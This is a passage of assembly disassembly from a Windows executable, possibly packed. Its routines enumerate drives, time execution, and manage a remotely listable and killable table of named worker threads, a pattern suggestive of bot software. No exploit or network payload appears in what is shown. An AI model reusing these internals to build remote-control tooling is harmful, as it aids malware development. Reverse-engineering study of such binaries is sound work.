[ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: MEW:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2A0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2A0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2A0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E2A0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: MEW:004168C6p push ebp mov ebp, esp and dword_41E2C0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2C8, eax push offset dword_41E2A8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE08, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DA80 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DE00 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2A8 call sub_409C6C pop ecx cmp dword_41E2C0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2C0 inc eax mov dword_41E2C0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2A8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2A8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2A8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2A8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2A8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2A8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E2C0, 0 jz short loc_409B25 push 10h push dword_41E2C0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E2A8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2A8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E2A8 call 